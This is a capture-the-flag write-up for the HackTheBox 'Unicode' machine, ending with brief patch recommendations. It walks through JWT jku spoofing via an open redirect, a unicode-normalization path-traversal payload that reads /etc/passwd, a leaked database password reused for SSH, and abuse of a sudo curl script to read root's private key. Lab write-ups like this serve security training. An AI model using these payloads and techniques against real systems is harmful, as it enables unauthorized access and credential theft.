--- title: "Writeup - Unicode (HTB)" date: 2022-05-07 slug: "writeup-unicode-htb" type: "writeup-ctf" --- This is a writeup for the [Unicode](https://app.hackthebox.com/machines/Unicode) machine from the HackTheBox site. ## Enumeration First, let's start with a scan of our target with the following command: ```bash nmap -sV -T4 -Pn 10.10.11.126 ``` Two TCP ports are discovered: ![](img/image-1.webp) - 22/tcp : SSH port (OpenSSH 8.2) - 80/tcp : HTTP web server (Apache 2.4.41) ![](img/image-2.webp) ## Exploit Let's start by creating an account on the site. ![](img/image-3.webp) After logging in, you will be taken to the page. ![](img/image-4.webp) By searching a bit you can find a lot of forms, file sending, ... But after having tested them I don't find anything conclusive. ![](img/image-5.webp) ![](img/image-6.webp) Looking at the cookies generated by the site, I find one: `auth` I try to decode it on JWT.io. ![](img/image-7.webp) So it's a JWT cookie with the RS256 algorithm. I search on google for documentation on this type of cookie and see if there are any exploit. I quickly find the following site: [JWT - JSON Web Tokens](https://hackernoon.com/json-web-tokens-jwt-demystified-f7e202249640). In this article we learn that this string is composed of 3 parts encoded in base 64 : ![](img/image-8.webp) - Header: Parameter such as the algorithm, the url of the JSON web key, ... - Payload: Personalized storage area, in our case the username - Signature : Hash of the Header+Payload We also learn that in the majority of the cases we use asymmetric keys and that in this case the site must host a `jwks` file with the `keys` properties. I can get the content of this file with the following command: ```bash ┌──(d3vyce㉿kali)-[~/Documents] └─$ curl hackmedia.htb/static/jwks.json { "keys": [ { "kty": "RSA", "use": "sig", "kid": "hackthebox", "alg": "RS256", "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs", "e": "AQAB" } ] } ``` At the end of the article we learn one last thing, in general this element is stored in the `header` of the page. But in our case it is in the form of a `cookie`. To change the account for the admin account, we will try to do a `JWKS Spoofing`. To do this we will first generate a key pair following the same parameters as the `jwks.json` file we found. For that I use the following site [mkjwk](https://mkjwk.org/). ![](img/image-9.webp) I then create a `jwks.json` file with the same structure as the previous one but with the `n` we just generated. ```bash { "keys": [ { "kty": "RSA", "use": "sig", "kid": "hackthebox", "alg": "RS256", "n": "[CHANGE IT]", "e": "AQAB" } ] } ``` I then launch a file server with the following command: ```bash python3 -m http.server 80 ``` Then I start to modify our cookie. First I change the value of `jku` and add the following element: ```bash /../redirect?url=10.10.14.4/jwks.json ``` Then I add in the `Verify Signature` part the Public/Private key that we have generated. Finally I change the variable `user` with the value `admin`. ![](img/image-10.webp) Now that we have our new cookie, I replace the old value with the new one, then refresh the page. I now have access to the admin interface! ![](img/image-11.webp) I look a little at the different parge, I fall on the following link: It's a link that has an argument, so we should be able to do a Path Traversal exploit. So I try in a first time the following input: ```bash ../../../etc/passwd ``` But unfortunately this results in an error... There is a check that blocks our request. After some research it is known that it is possible to bypass this filtering with a particular encoding of the characters. Thanks to the unicode normalization it is possible to pass the request: [Unicode normalization vulnerabilities](https://lazarv.com/posts/unicode-normalization-vulnerabilities/) With the following query I can access the file : ```bash ︰/︰/︰/︰/︰/︰/︰/etc/passwd ``` In this file I learn that the `mysql` service is used. Potentially credentials ! ```bash root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd- coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false code:x:1000:1000:,,,:/home/code:/bin/bash ``` I then look in the configuration files of nginx, which allows me to find the following file: ```bash mysql_host: "localhost" mysql_user: "code" mysql_password: "B3stC0d3r2021@@!" mysql_db: "user" ``` I then try to connect with these credentials: ![](img/image-12.webp) I now have a shell as `code` and I can get the first flag. ## Privilege escalation First I look at the sudo permissions I have: ![](img/image-13.webp) I have the right to run the treport `treport` script as root, so I try to run it to see what it does: ![](img/image-14.webp) This script allows to manage files. One option interests me particularly: `Download A Threat Report`. Indeed after having executed it, we can clearly see that the program uses `curl`. So I try to download a local file to see what happens: ![](img/image-15.webp) An error, so there is potentially a validation of the URL... So I look at the doc of the command to see if there is an option that could be useful. ```bash [...] -K, --config Specify a text file to read curl arguments from. The command line arguments found in the text file will be used as if they were provided on the command line. [...] ``` After a few minutes I find the option `-K`, this option allows to specify a file in which `curl` will go to look for the links to download files. I can try to use this option to see the content of the file... ![](img/image-16.webp) By trying on the id\_rsa file of the root use, I can visualize its content ! So I try to create a local file with the RSA key and then connect via SSH to the root user but without success :( To validate the machine, I still look at the content of the `root.txt` file. ![](img/image-17.webp) So I get the last flag, but I didn't get a root shell yet. ## Recommendations To patch this host I think it would be necessary to perform a number of actions: - Update the panel to avoid Paht Traversal - Do not let any program run in root if not necessary